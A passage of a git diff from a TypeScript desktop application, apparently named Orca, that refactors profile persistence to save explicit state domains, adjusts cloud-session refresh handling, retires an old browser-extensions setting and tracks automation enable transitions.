+    if (!rotatedSince && !inflightCloudSessionRefreshes.has(key) && !takeForcedRefreshSlot(key)) {
       throw error
     }
     const refreshed = await forceRefreshOrcaCloudSession(
@@ -253,15 +280,7 @@ export async function runWithFreshOrcaCloudSession<T>(
     if (refreshed.status !== 'found') {
       return { status: 'reconnect-required' }
     }
-    try {
-      return { status: 'ok', value: await operation(refreshed.session) }
-    } catch (retryError) {
-      // Post-refresh 401 rejects the session; permission-only 403 must preserve it.
-      if (retryError instanceof OrcaCloudRequestError && retryError.statusCode === 401) {
-        clearCloudSessionIfUnchanged(active.profile.id, userDataPath, refreshed.session)
-        return { status: 'reconnect-required' }
-      }
-      throw retryError
-    }
+    // The auth server just accepted this session, so a second rejection is the operation's error.
+    return { status: 'ok', value: await operation(refreshed.session) }
   }
 }
diff --git a/src/main/orca-profiles/profile-project-domain-transfer.test.ts b/src/main/orca-profiles/profile-project-domain-transfer.test.ts
index bc731f54317..b1fc06965da 100644
--- a/src/main/orca-profiles/profile-project-domain-transfer.test.ts
+++ b/src/main/orca-profiles/profile-project-domain-transfer.test.ts
@@ -178,6 +178,12 @@ afterEach(() => {
 })
 
 describe('profile domain transfers', () => {
+  it('moves a project without granting publishing permission to either older profile', () => {
+    expect(transfer()).toMatchObject({ status: 'transferred' })
+    expect(JSON.parse(raw('source').json).settings).not.toHaveProperty('artifactSharingEnabled')
+    expect(JSON.parse(raw('target').json).settings).not.toHaveProperty('artifactSharingEnabled')
+  })
+
   it('refuses independently hashed malformed unrelated data before a copy writes anything', () => {
     const before = raw('target').json
     withDatabase('source', (db) =>
diff --git a/src/main/orca-profiles/profile-project-state-file.ts b/src/main/orca-profiles/profile-project-state-file.ts
index ec017b0f920..e85b6ffc680 100644
--- a/src/main/orca-profiles/profile-project-state-file.ts
+++ b/src/main/orca-profiles/profile-project-state-file.ts
@@ -121,6 +121,7 @@ export function normalizeProfileProjectState(
   const {
     uiLanguagePortugueseMigrationApplied: _migrationApplied,
     nestedWorkerMaxDepthDefaultedToFour: _depthMigrated,
+    artifactSharingEnabled: _artifactSharingEnabled,
     ...settingsDefaults
   } = defaults.settings
   return rebuildRepoBackedProjectState({
diff --git a/src/main/orcad/orcad-client-page-commands.ts b/src/main/orcad/orcad-client-page-commands.ts
index 9afc3d95ab7..11e8e8e4a1e 100644
--- a/src/main/orcad/orcad-client-page-commands.ts
+++ b/src/main/orcad/orcad-client-page-commands.ts
@@ -28,6 +28,11 @@ import {
   type BrowserEngineTabs
 } from '../runtime/browser/client-pages/browser-client-page-queries'
 
+import {
+  findListedBrowserTab,
+  readBrowserTabAnnotations
+} from '../runtime/browser/tabs/browser-tab-annotations'
+
 type Forward = (args: unknown[], name?: string) => unknown
 
 const LOGICAL_TAB_QUERIES = [
@@ -70,6 +75,16 @@ export function orcadClientPageCommand(
         : closeBrowserPageWithoutEngine(host, params, browserUnavailableError)
     }
   }
+  if (name === 'browserTabAnnotations') {
+    return async (...args: Parameters<RuntimeBrowserCommands['browserTabAnnotations']>) => {
+      const { page, worktree } = args[0] ?? {}
+      // The engine's active flags are global, so a worktree's current tab needs its own query.
+      const tab = page
+        ? findListedBrowserTab((await logicalTabs().browserTabList({ worktree })).tabs, page)
+        : (await logicalTabs().browserTabCurrent({ worktree })).tab
+      return readBrowserTabAnnotations(host, tab)
+    }
+  }
   const query = LOGICAL_TAB_QUERIES.find((candidate) => candidate === name)
   if (query) {
     return (...args: unknown[]) => {
diff --git a/src/main/orcad/orcad-entry.ts b/src/main/orcad/orcad-entry.ts
index 0f463081e63..da51c916fe2 100644
--- a/src/main/orcad/orcad-entry.ts
+++ b/src/main/orcad/orcad-entry.ts
@@ -226,6 +226,8 @@ async function startOrcadRuntime(
   paneGridsForShutdown = runtime
 
   accountLaunch?.attachToRuntime(runtime)
+  const { wireGitHubIssueLinkTitleFill } = await import('../github/github-issue-link-title-wiring')
+  registerCleanup(wireGitHubIssueLinkTitleFill(profileStore, runtime))
   const { installOrcadEmulatorBridge } = await import('./orcad-emulator-bridge')
   installOrcadEmulatorBridge(runtime, registerCleanup)
 
diff --git a/src/main/persistence/applying-settings/feature-interaction-recording.ts b/src/main/persistence/applying-settings/feature-interaction-recording.ts
index a383f83340a..9bc970c8dfb 100644
--- a/src/main/persistence/applying-settings/feature-interaction-recording.ts
+++ b/src/main/persistence/applying-settings/feature-interaction-recording.ts
@@ -12,7 +12,7 @@ import { getCohortAtEmit } from '../../telemetry/cohort-classifier'
 
 export type FeatureInteractionOperations = {
   state: PersistedState
-  scheduleSave: (domains?: readonly string[]) => void
+  scheduleSave: (domains: readonly string[]) => void
   notifyUIChanged: () => void
   getUI: () => PersistedState['ui']
 }
diff --git a/src/main/persistence/applying-settings/terminal-settings-migrations.ts b/src/main/persistence/applying-settings/terminal-settings-migrations.ts
index ae54a94349e..9264e9db532 100644
--- a/src/main/persistence/applying-settings/terminal-settings-migrations.ts
+++ b/src/main/persistence/applying-settings/terminal-settings-migrations.ts
@@ -108,6 +108,8 @@ type RetiredGlobalSettings = {
   orchestrationHeartbeatIntervalMinutes?: unknown
   // Full-access plugins now need only their own approval.
   pluginFullAccessEnabled?: unknown
+  // Extensions left Experimental and default on; browserExtensionsEnabled replaces this.
+  experimentalBrowserExtensions?: unknown
 }
 
 export function stripRetiredGlobalSettings(
@@ -127,6 +129,7 @@ export function stripRetiredGlobalSettings(
     orchestrationHeartbeatsEnabled: _retiredHeartbeatsEnabled,
     orchestrationHeartbeatIntervalMinutes: _retiredHeartbeatInterval,
     pluginFullAccessEnabled: _retiredPluginFullAccessSwitch,
+    experimentalBrowserExtensions: _retiredBrowserExtensionsExperiment,
     ...rest
   } = (settings ?? {}) as Partial<GlobalSettings> & RetiredGlobalSettings
   void _retiredChatPermissionCopies
@@ -142,6 +145,7 @@ export function stripRetiredGlobalSettings(
   void _retiredHeartbeatsEnabled
   void _retiredHeartbeatInterval
   void _retiredPluginFullAccessSwitch
+  void _retiredBrowserExtensionsExperiment
   return rest
 }
 
diff --git a/src/main/persistence/applying-settings/ui-state-read.ts b/src/main/persistence/applying-settings/ui-state-read.ts
index 238f6ab67b3..a550fb1cf37 100644
--- a/src/main/persistence/applying-settings/ui-state-read.ts
+++ b/src/main/persistence/applying-settings/ui-state-read.ts
@@ -13,6 +13,7 @@ import {
 } from '../../../shared/workspace-statuses'
 import { normalizeUsagePercentageDisplay } from '../../../shared/usage-percentage-display'
 import { normalizeStatusBarUsageMode } from '../../../shared/status-bar-usage-mode'
+import { normalizeStatusBarUsageFormat } from '../../../shared/status-bar-usage-format'
 import { clampMarkdownTocPanelWidth } from '../../../shared/markdown-toc-panel-width'
 import { clampCombinedDiffFileTreeWidth } from '../../../shared/combined-diff-file-tree-width'
 import {
@@ -59,6 +60,7 @@ export function getPersistedUI(
     syncTaskStatusFromWorkspaceBoard: state.ui?.syncTaskStatusFromWorkspaceBoard === true,
     usagePercentageDisplay: normalizeUsagePercentageDisplay(state.ui?.usagePercentageDisplay),
     statusBarUsageMode: normalizeStatusBarUsageMode(state.ui?.statusBarUsageMode),
+    statusBarUsageFormat: normalizeStatusBarUsageFormat(state.ui?.statusBarUsageFormat),
     statusBarCompactChangeNoticeDismissed:
       state.ui?.statusBarCompactChangeNoticeDismissed !== false,
     trayMinimizeNoticeShown: state.ui?.trayMinimizeNoticeShown === true,
diff --git a/src/main/persistence/applying-settings/ui-state-update.ts b/src/main/persistence/applying-settings/ui-state-update.ts
index 5d954d8ff2e..eb282c1c973 100644
--- a/src/main/persistence/applying-settings/ui-state-update.ts
+++ b/src/main/persistence/applying-settings/ui-state-update.ts
@@ -13,6 +13,7 @@ import {
 } from '../../../shared/workspace-statuses'
 import { normalizeUsagePercentageDisplay } from '../../../shared/usage-percentage-display'
 import { normalizeStatusBarUsageMode } from '../../../shared/status-bar-usage-mode'
+import { normalizeStatusBarUsageFormat } from '../../../shared/status-bar-usage-format'
 import { clampMarkdownTocPanelWidth } from '../../../shared/markdown-toc-panel-width'
 import { clampCombinedDiffFileTreeWidth } from '../../../shared/combined-diff-file-tree-width'
 import {
@@ -153,6 +154,9 @@ export function updatePersistedUI(
     statusBarUsageMode: normalizeStatusBarUsageMode(
       sanitizedUpdates.statusBarUsageMode ?? operations.state.ui?.statusBarUsageMode
     ),
+    statusBarUsageFormat: normalizeStatusBarUsageFormat(
+      sanitizedUpdates.statusBarUsageFormat ?? operations.state.ui?.statusBarUsageFormat
+    ),
     markdownTocPanelWidth: clampMarkdownTocPanelWidth(
       sanitizedUpdates.markdownTocPanelWidth ?? operations.state.ui?.markdownTocPanelWidth
     ),
diff --git a/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts b/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts
index e3991435bd4..6e12216406f 100644
--- a/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts
+++ b/src/main/persistence/leasing-ssh-ptys/ssh-target-state.ts
@@ -1,3 +1,4 @@
+import type { ProfileSaveDomains } from '../profile-save-domains'
 import type { PersistedState } from '../../../shared/persisted-state-types'
 import type { RemovedSshTargetTombstone, SshTarget } from '../../../shared/ssh-types'
 import type { ProtectedSecretPersistence } from '../../credentials/protected-secret-persistence'
@@ -17,7 +18,7 @@ import {
 export type SshTargetStateOperations = {
   state: PersistedState
   protectedSecrets: Pick<ProtectedSecretPersistence, 'removeRetainedBlob'>
-  scheduleSave: () => void
+  scheduleSave: (domains: ProfileSaveDomains) => void
 }
 
 export function getSshTargets(state: PersistedState): SshTarget[] {
@@ -32,7 +33,7 @@ export function getSshTarget(state: PersistedState, id: string): SshTarget | und
 export function addSshTarget(operations: SshTargetStateOperations, target: SshTarget): void {
   // Replace the array to invalidate identity-cached automation projections.
   operations.state.sshTargets = [...(operations.state.sshTargets ?? []), normalizeSshTarget(target)]
-  operations.scheduleSave()
+  operations.scheduleSave(['sshTargets'])
 }
 
 export function updateSshTarget(
@@ -64,7 +65,7 @@ export function updateSshTarget(
   }
   // Invalidate identity-cached lists after mutating the shared row.
   operations.state.sshTargets = [...(operations.state.sshTargets ?? [])]
-  operations.scheduleSave()
+  operations.scheduleSave(['sshTargets', 'retiredWorktreeNamesByNamespace'])
   return { ...target }
 }
 
@@ -79,7 +80,7 @@ export function removeSshTarget(operations: SshTargetStateOperations, id: string
   operations.state.sshTargets = nextTargets
   operations.state.sshPtyConsumerRecoveries = nextRecoveries
   operations.protectedSecrets.removeRetainedBlob(sshPtyOwnerLeaseSecretSlot(id))
-  operations.scheduleSave()
+  operations.scheduleSave(['sshTargets', 'sshPtyConsumerRecoveries'])
 }
 
 export function getDeletedSshConfigAliases(state: PersistedState): string[] {
@@ -93,7 +94,7 @@ export function addDeletedSshConfigAlias(
   operations.state.deletedSshConfigAliases ??= []
   if (!operations.state.deletedSshConfigAliases.includes(alias)) {
     operations.state.deletedSshConfigAliases.push(alias)
-    operations.scheduleSave()
+    operations.scheduleSave(['deletedSshConfigAliases'])
   }
 }
 
@@ -106,7 +107,7 @@ export function removeDeletedSshConfigAlias(
     return
   }
   operations.state.deletedSshConfigAliases = current.filter((entry) => entry !== alias)
-  operations.scheduleSave()
+  operations.scheduleSave(['deletedSshConfigAliases'])
 }
 
 export function clearDeletedSshConfigAliases(operations: SshTargetStateOperations): void {
@@ -115,7 +116,7 @@ export function clearDeletedSshConfigAliases(operations: SshTargetStateOperation
     operations.state.deletedSshConfigAliases.length > 0
   ) {
     operations.state.deletedSshConfigAliases = []
-    operations.scheduleSave()
+    operations.scheduleSave(['deletedSshConfigAliases'])
   }
 }
 
@@ -134,7 +135,7 @@ export function addRemovedSshTargetTombstone(
     sshTargetRemovalEvidenceDependencies(operations.state),
     MAX_REMOVED_SSH_TARGET_TOMBSTONES
   )
-  operations.scheduleSave()
+  operations.scheduleSave(['removedSshTargetTombstones'])
 }
 
 function sshTargetRemovalEvidenceDependencies(state: PersistedState): Set<string> {
@@ -169,5 +170,5 @@ export function removeRemovedSshTargetTombstone(
   operations.state.removedSshTargetTombstones = existing.filter(
     (entry) => entry.oldTargetId !== oldTargetId
   )
-  operations.scheduleSave()
+  operations.scheduleSave(['removedSshTargetTombstones'])
 }
diff --git a/src/main/persistence/loading-store/automation-enablement-transitions.ts b/src/main/persistence/loading-store/automation-enablement-transitions.ts
new file mode 100644
index 00000000000..32e45925acb
--- /dev/null
+++ b/src/main/persistence/loading-store/automation-enablement-transitions.ts
@@ -0,0 +1,24 @@
+import type { Automation } from '../../../shared/automations/automation-definition'
+
+/** In-memory count of pause and re-enable transitions per automation, for the scheduler's wake
+ *  gate: a pause and re-enable can restore every field, even `updatedAt` within one ms, and run
+ *  bookkeeping moves `updatedAt` without any user change. Every re-enable goes through
+ *  `updateAutomation`; `disableAutomations` need not count, since the gate only holds enabled
+ *  rows and coming back needs a re-enable. Not persisted: holds do not survive a restart. */
+export class AutomationEnablementTransitions {
+  private readonly counts = new Map<string, number>()
+
+  revision(id: string): number {
+    return this.counts.get(id) ?? 0
+  }
+
+  /** Runs an update of `id`, counting it when it flips the automation's `enabled`. */
+  track(stored: readonly Automation[], id: string, update: () => Automation): Automation {
+    const wasEnabled = stored.find((entry) => entry.id === id)?.enabled
+    const updated = update()
+    if (wasEnabled !== undefined && updated.enabled !== wasEnabled) {
+      this.counts.set(id, this.revision(id) + 1)
+    }
+    return updated
+  }
+}
diff --git a/src/main/persistence/loading-store/automation-persistence.ts b/src/main/persistence/loading-store/automation-persistence.ts
index 996b515ea45..13ed2137b73 100644
--- a/src/main/persistence/loading-store/automation-persistence.ts
+++ b/src/main/persistence/loading-store/automation-persistence.ts
@@ -58,6 +58,7 @@ import {
 import type { StoreRuntimeState } from './store-runtime-state'
 import type { WriteFlushBarrierOperations } from './write-flush-barriers'
 import type { ProfilePreferences } from './profile-preferences'
+import { AutomationEnablementTransitions } from './automation-enablement-transitions'
 
 type AutomationPersistenceRuntime = Pick<
   StoreRuntimeState,
@@ -69,6 +70,7 @@ type AutomationPersistenceRuntime = Pick<
 >
 
 const automationPersistenceContext = Symbol('AutomationPersistence')
+const automationEnablement = Symbol('AutomationEnablement')
 type AutomationPersistenceContext = {
   runtime: AutomationPersistenceRuntime
   flushBarriers: WriteFlushBarrierOperations
@@ -77,6 +79,7 @@ type AutomationPersistenceContext = {
 
 export class AutomationPersistence {
   readonly [automationPersistenceContext]: AutomationPersistenceContext
+  readonly [automationEnablement] = new AutomationEnablementTransitions()
 
   constructor(
     runtime: AutomationPersistenceRuntime,
@@ -159,7 +162,15 @@ export class AutomationPersistence {
     updates: AutomationUpdateInput,
     options?: AutomationUpdatePreconditions & { resolvedRepo?: Repo }
   ): Automation {
-    return updateAutomationOperation(getAutomationDefinitionOperations(this), id, updates, options)
+    const stored = this[automationPersistenceContext].runtime.state.automations ?? []
+    return this[automationEnablement].track(stored, id, () =>
+      updateAutomationOperation(getAutomationDefinitionOperations(this), id, updates, options)
+    )
+  }
+
+  /** Changes when an update pauses or re-enables the automation, never on run bookkeeping. */
+  automationEnablementRevision(id: string): number {
+    return this[automationEnablement].revision(id)
   }
 
   stampLegacyAutomationRunContext(automationId: string, runContext: WorkspaceRunContext): boolean {
diff --git a/src/main/persistence/loading-store/cross-store-lineage-persistence.ts b/src/main/persistence/loading-store/cross-store-lineage-persistence.ts
index 6ed378546cf..e253ca9caea 100644
--- a/src/main/persistence/loading-store/cross-store-lineage-persistence.ts
+++ b/src/main/persistence/loading-store/cross-store-lineage-persistence.ts
@@ -1,4 +1,5 @@
 import type { ExecutionHostId } from '../../../shared/execution-host'
+import { WORKSPACE_LINEAGE_DOMAINS } from '../profile-save-domains'
 import type { WorkspaceKey } from '../../../shared/workspace-scope'
 import type { CrossStoreWorkspaceLineage } from '../../../shared/worktree/lineage-types'
 import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity'
@@ -61,7 +62,7 @@ export class CrossStoreLineagePersistence {
     delete state.workspaceLineageByChildKey[lineage.childWorkspaceKey]
     state.crossStoreLineageByChildKey ??= {}
     state.crossStoreLineageByChildKey[lineage.childWorkspaceKey] = lineage
-    scheduleSave(this[crossStoreLineagePersistenceContext].scheduling)
+    scheduleSave(this[crossStoreLineagePersistenceContext].scheduling, WORKSPACE_LINEAGE_DOMAINS)
     return lineage
   }
 }
diff --git a/src/main/persistence/loading-store/folder-parent-lineage-persistence.ts b/src/main/persistence/loading-store/folder-parent-lineage-persistence.ts
index e3cb0676133..dcd384c3f69 100644
--- a/src/main/persistence/loading-store/folder-parent-lineage-persistence.ts
+++ b/src/main/persistence/loading-store/folder-parent-lineage-persistence.ts
@@ -1,4 +1,5 @@
 import type { HostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity'
+import { WORKSPACE_LINEAGE_DOMAINS } from '../profile-save-domains'
 import { parseWorkspaceKey, worktreeWorkspaceKey } from '../../../shared/workspace-scope'
 import type { WorkspaceLineage, WorktreeLineage } from '../../../shared/worktree/lineage-types'
 import { ownsRawIdBucket } from './metadata-lineage-operations'
@@ -33,7 +34,7 @@ export class FolderParentLineagePersistence {
     delete state.worktreeLineageById[target.id]
     delete state.crossStoreLineageByChildKey?.[worktreeWorkspaceKey(target.id)]
     state.workspaceLineageByChildKey[worktreeWorkspaceKey(target.id)] = lineage
-    scheduleSave(this[folderParentLineageContext].scheduling)
+    scheduleSave(this[folderParentLineageContext].scheduling, WORKSPACE_LINEAGE_DOMAINS)
     return lineage
   }
 }
diff --git a/src/main/persistence/loading-store/metadata-lineage-operations.ts b/src/main/persistence/loading-store/metadata-lineage-operations.ts
index eab6c2d96ab..b24f707bb92 100644
--- a/src/main/persistence/loading-store/metadata-lineage-operations.ts
+++ b/src/main/persistence/loading-store/metadata-lineage-operations.ts
@@ -33,9 +33,9 @@ import {
   getWorktreeMetaForHost as getWorktreeMetaForHostOperation,
   migrateWorktreeMetadataLocator,
   removeWorktreeMetadataForHost,
-  setWorktreeMetaForHost as setWorktreeMetaForHostOperation,
-  WORKTREE_METADATA_DOMAINS
+  setWorktreeMetaForHost as setWorktreeMetaForHostOperation
 } from './worktree-identity-metadata'
+import * as saved from '../profile-save-domains'
 import {
   captureNativeLocalWorktreeMetadataScanExpectation as captureNativeLocalWorktreeMetadataScanExpectationOperation,
   pruneSessionlessMissingLocalWorktreeMetadataForRepo as pruneSessionlessMissingLocalWorktreeMetadataForRepoOperation,
@@ -53,6 +53,10 @@ type MetadataLineageOperationsContext = {
   sessions: SessionHostPartitionOperations
 }
 
+function saveDomains(owner: MetadataLineageOperations, domains: readonly string[]): void {
+  scheduleSave(owner[metadataLineageOperationsContext].scheduling, domains)
+}
+
 export class MetadataLineageOperations {
   readonly [metadataLineageOperationsContext]: MetadataLineageOperationsContext
 
@@ -198,7 +202,7 @@ export class MetadataLineageOperations {
     }
     // Removal may release identity collisions that previously blocked unrelated metadata pruning.
     invalidateLocalWorktreeMetadataPruneInputs()
-    scheduleSave(this[metadataLineageOperationsContext].scheduling)
+    saveDomains(this, saved.WORKTREE_METADATA_REMOVAL_DOMAINS)
   }
 
   selectProbeableLocalWorktreeMetadataCandidates(
@@ -220,7 +224,7 @@ export class MetadataLineageOperations {
       missingMetadata
     )
     if (removed.length > 0) {
-      scheduleSave(this[metadataLineageOperationsContext].scheduling)
+      saveDomains(this, saved.WORKTREE_METADATA_PRUNE_DOMAINS)
     }
     return removed
   }
@@ -247,7 +251,7 @@ export class MetadataLineageOperations {
     state.workspaceLineageByChildKey[worktreeWorkspaceKey(target.id)] =
       toWorkspaceLineageRow(lineage)
     delete state.crossStoreLineageByChildKey?.[worktreeWorkspaceKey(target.id)]
-    scheduleSave(this[metadataLineageOperationsContext].scheduling)
+    saveDomains(this, saved.WORKSPACE_LINEAGE_DOMAINS)
     return lineage
   }
 
@@ -259,7 +263,7 @@ export class MetadataLineageOperations {
     delete state.worktreeLineageById[target.id]
     delete state.workspaceLineageByChildKey[worktreeWorkspaceKey(target.id)]
     delete state.crossStoreLineageByChildKey?.[worktreeWorkspaceKey(target.id)]
-    scheduleSave(this[metadataLineageOperationsContext].scheduling)
+    saveDomains(this, saved.WORKSPACE_LINEAGE_DOMAINS)
   }
 
   migrateWorktreeIdentity(target: HostWorktreeTarget, newWorktreeId: string): void {
@@ -275,9 +279,9 @@ export class MetadataLineageOperations {
     )
     if (legacyChanged || canonicalChanged) {
       // Legacy identity moves also touch sessions, lineage, mobile selections and UI state.
-      scheduleSave(
-        this[metadataLineageOperationsContext].scheduling,
-        legacyChanged ? undefined : WORKTREE_METADATA_DOMAINS
+      saveDomains(
+        this,
+        legacyChanged ? saved.WORKTREE_IDENTITY_MIGRATION_DOMAINS : saved.WORKTREE_METADATA_DOMAINS
       )
     }
   }
@@ -298,7 +302,7 @@ export class MetadataLineageOperations {
     const state = this[metadataLineageOperationsContext].runtime.state
     state.workspaceLineageByChildKey[lineage.childWorkspaceKey] = lineage
     delete state.crossStoreLineageByChildKey?.[lineage.childWorkspaceKey]
-    scheduleSave(this[metadataLineageOperationsContext].scheduling)
+    saveDomains(this, ['workspaceLineageByChildKey', 'crossStoreLineageByChildKey'])
     return lineage
   }
 }
diff --git a/src/main/persistence/loading-store/mobile-tab-selection-persistence.ts b/src/main/persistence/loading-store/mobile-tab-selection-persistence.ts
index 2002fc8ca40..e0173d5350a 100644
--- a/src/main/persistence/loading-store/mobile-tab-selection-persistence.ts
+++ b/src/main/persistence/loading-store/mobile-tab-selection-persistence.ts
@@ -28,6 +28,8 @@ export class MobileTabSelectionPersistence {
   setMobileClientTabSelections(next: PersistedMobileClientTabSelections): void {
     this[mobileTabSelectionPersistenceContext].runtime.state.mobileClientTabSelectionsByDeviceId =
       next
-    scheduleSave(this[mobileTabSelectionPersistenceContext].scheduling)
+    scheduleSave(this[mobileTabSelectionPersistenceContext].scheduling, [
+      'mobileClientTabSelectionsByDeviceId'
+    ])
   }
 }
diff --git a/src/main/persistence/loading-store/normalize-loaded-global-settings.ts b/src/main/persistence/loading-store/normalize-loaded-global-settings.ts
index c75ab18a38c..a29713ace36 100644
--- a/src/main/persistence/loading-store/normalize-loaded-global-settings.ts
+++ b/src/main/persistence/loading-store/normalize-loaded-global-settings.ts
@@ -98,6 +98,8 @@ export function normalizeLoadedGlobalSettings(
     ),
     worktreeVisibilityDefaults: migratedExternalVisibility.defaults,
     prBotAuthorOverrides: normalizePRBotAuthorOverrides(parsed.settings?.prBotAuthorOverrides),
+    // Only fresh profiles take the on default; a stored profile saved before the key existed was off.
+    artifactSharingEnabled: parsed.settings?.artifactSharingEnabled === true,
     // Carry the retired sidekick flag into pet settings.
     experimentalPet: parsed.settings?.experimentalPet ?? readLegacySidekickFlag(parsed) ?? false,
     // Migrate old platform defaults once; retain later opt-outs.
diff --git a/src/main/persistence/loading-store/primary-state-write-worker.ts b/src/main/persistence/loading-store/primary-state-write-worker.ts
index 6a67aa73cb2..de3cef861c9 100644
--- a/src/main/persistence/loading-store/primary-state-write-worker.ts
+++ b/src/main/persistence/loading-store/primary-state-write-worker.ts
@@ -23,7 +23,15 @@ export async function writeProfileStateInWorker(
         runtime.dirtyProfileStateDomains.add(domain)
       }
     }
-    runtime.pendingAutomationRunsAfter ??= automationRuns
+    if (automationRuns === undefined || runtime.pendingAutomationRunsAfter !== undefined) {
+      return
+    }
+    // A run list replaced while this write was in flight is newer; save it as a whole row instead.
+    if (automationRuns === runtime.state.automationRuns) {
+      runtime.pendingAutomationRunsAfter = automationRuns
+    } else {
+      runtime.dirtyProfileStateDomains?.add('automationRuns')
+    }
   }
 
   try {
diff --git a/src/main/persistence/loading-store/profile-preferences.ts b/src/main/persistence/loading-store/profile-preferences.ts
index 4be94581122..86bd0f6529d 100644
--- a/src/main/persistence/loading-store/profile-preferences.ts
+++ b/src/main/persistence/loading-store/profile-preferences.ts
@@ -186,7 +186,7 @@ export class ProfilePreferences {
         ...updates.checklist
       }
     }
-    scheduleSave(this[profilePreferencesContext].scheduling)
+    scheduleSave(this[profilePreferencesContext].scheduling, ['onboarding'])
     return this.getOnboarding()
   }
 
@@ -267,7 +267,7 @@ export function getUIUpdateOperations(owner: ProfilePreferences): UIUpdateOperat
     setActiveView: (activeView) =>
       owner[profilePreferencesContext].runtime.activeViewPreference.set(activeView),
     getUI: () => owner.getUI(),
-    scheduleSave: () => scheduleSave(owner[profilePreferencesContext].scheduling),
+    scheduleSave: () => scheduleSave(owner[profilePreferencesContext].scheduling, ['ui']),
     notifyUIChanged: () => notifyUIChanged(owner)
   }
 }
diff --git a/src/main/persistence/loading-store/profile-state-checkpoints.test.ts b/src/main/persistence/loading-store/profile-state-checkpoints.test.ts
index 3b69c23ac3e..97764f71c7d 100644
--- a/src/main/persistence/loading-store/profile-state-checkpoints.test.ts
+++ b/src/main/persistence/loading-store/profile-state-checkpoints.test.ts
@@ -80,7 +80,7 @@ describe('complete profile state checkpoints', () => {
       try {
         other.readSerializedState()
         other.writeSerializedDomains([{ domain: 'futureDomain', payload: '{"external":true}' }])
-        scheduleSave(store)
+        scheduleSave(store, ['ui'])
         if (mode === 'sync') {
           expect(() => store.flushOrThrow()).toThrow(/Profile state revision changed/)
         } else {
diff --git a/src/main/persistence/loading-store/profile-state-maintenance.ts b/src/main/persistence/loading-store/profile-state-maintenance.ts
index 3f04eba8e92..20efca42f63 100644
--- a/src/main/persistence/loading-store/profile-state-maintenance.ts
+++ b/src/main/persistence/loading-store/profile-state-maintenance.ts
@@ -4,7 +4,7 @@ import type { StoreDomains } from './store-domain-composition'
 import type { StoreRuntimeState } from './store-runtime-state'
 import { drainProfileStateOperations } from './profile-state-flush-lifetime'
 import { flushCurrentStateAsync } from './write-flush-barriers'
-import { scheduleSave } from './write-scheduling'
+import { scheduleFullProfileSave } from './write-scheduling'
 import { persistGithubCache, suspendGithubCachePersistence } from './github-cache-persistence'
 
 export type ProfileStateMaintenanceOptions = {
@@ -66,7 +66,7 @@ export function beginProfileStateMaintenance(
     runtime.profileMaintenancePending = false
     runtime.pendingProfileMaintenance = null
     resumePreference()
-    scheduleSave(domains.scheduling)
+    scheduleFullProfileSave(domains.scheduling)
     // Updates admitted while paused (or a retry it skipped) resume their routine save.
     persistGithubCache(runtime, 'routine')
   }
diff --git a/src/main/persistence/loading-store/project-collection-operations.ts b/src/main/persistence/loading-store/project-collection-operations.ts
index 2e67007eefc..90c7cc1ee6e 100644
--- a/src/main/persistence/loading-store/project-collection-operations.ts
+++ b/src/main/persistence/loading-store/project-collection-operations.ts
@@ -186,7 +186,7 @@ export class ProjectCollectionOperations {
     const { runtime, scheduling } = this[projectCollectionOperationsContext]
     const changed = applyWslMoveRetainedMarks(runtime.state, marks)
     if (changed > 0) {
-      scheduleSave(scheduling)
+      scheduleSave(scheduling, ['repos', 'folderWorkspaces'])
     }
     return changed
   }
@@ -216,7 +216,8 @@ export function getProjectHostOperations(
         ),
       removeProjectForHost: (target) =>
         owner[projectCollectionOperationsContext].repos.removeProjectForHost(target),
-      scheduleSave: () => scheduleSave(owner[projectCollectionOperationsContext].scheduling)
+      scheduleSave: (domains) =>
+        scheduleSave(owner[projectCollectionOperationsContext].scheduling, domains)
     })
   return owner[projectCollectionOperationsContext].runtime.projectHostOperations
 }
@@ -227,7 +228,8 @@ export function getProjectGroupOperations(
   owner[projectCollectionOperationsContext].runtime.projectGroupOperations ??=
     new ProjectGroupPersistenceOperations({
       state: owner[projectCollectionOperationsContext].runtime.state,
-      scheduleSave: () => scheduleSave(owner[projectCollectionOperationsContext].scheduling),
+      scheduleSave: (domains) =>
+        scheduleSave(owner[projectCollectionOperationsContext].scheduling, domains),
       removeWorkspaceLineageForRemovedFolder: (folderWorkspaceId) =>
         removeWorkspaceLineageForRemovedFolder(
           owner[projectCollectionOperationsContext].metadata,
@@ -248,7 +250,8 @@ export function getFolderWorkspaceOperations(
   owner[projectCollectionOperationsContext].runtime.folderWorkspaceOperations ??=
     new FolderWorkspacePersistenceOperations({
       state: owner[projectCollectionOperationsContext].runtime.state,
-      scheduleSave: () => scheduleSave(owner[projectCollectionOperationsContext].scheduling),
+      scheduleSave: (domains) =>
+        scheduleSave(owner[projectCollectionOperationsContext].scheduling, domains),
       removeWorkspaceLineageForRemovedFolder: (folderWorkspaceId) =>
         removeWorkspaceLineageForRemovedFolder(
           owner[projectCollectionOperationsContext].metadata,
diff --git a/src/main/persistence/loading-store/repo-lifecycle-operations.ts b/src/main/persistence/loading-store/repo-lifecycle-operations.ts
index ea15fa64885..98a791a0316 100644
--- a/src/main/persistence/loading-store/repo-lifecycle-operations.ts
+++ b/src/main/persistence/loading-store/repo-lifecycle-operations.ts
@@ -1,4 +1,5 @@
 import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types'
+import { REMOVE_PROJECT_DOMAINS, REPO_CATALOG_DOMAINS } from '../profile-save-domains'
 import type { ProjectHostSetup, ProjectHostSetupUpdateArgs } from '../../../shared/project-types'
 import type { Repo } from '../../../shared/repo-types'
 import type { RepoHostTarget } from '../../../shared/repo-host-identity'
@@ -80,7 +81,7 @@ export class RepoLifecycleOperations {
     getRepoOrderOperations(this).addRepo(repo)
     const context = this[repoLifecycleOperationsContext]
     if (applyNewWindowsDriveProjectDefault(context.runtime.state, repo)) {
-      scheduleSave(context.scheduling)
+      scheduleSave(context.scheduling, ['projects'])
     }
   }
 
@@ -138,7 +139,7 @@ export class RepoLifecycleOperations {
         }
       }
     }
-    scheduleSave(this[repoLifecycleOperationsContext].scheduling)
+    scheduleSave(this[repoLifecycleOperationsContext].scheduling, REMOVE_PROJECT_DOMAINS)
   }
 
   /** Sweep unregistered local repos at load; unpaired remote absence cannot prove deletion. */
@@ -226,7 +227,8 @@ export function getRepoOrderOperations(
     new RepoOrderPersistenceOperations({
       state: owner[repoLifecycleOperationsContext].runtime.state,
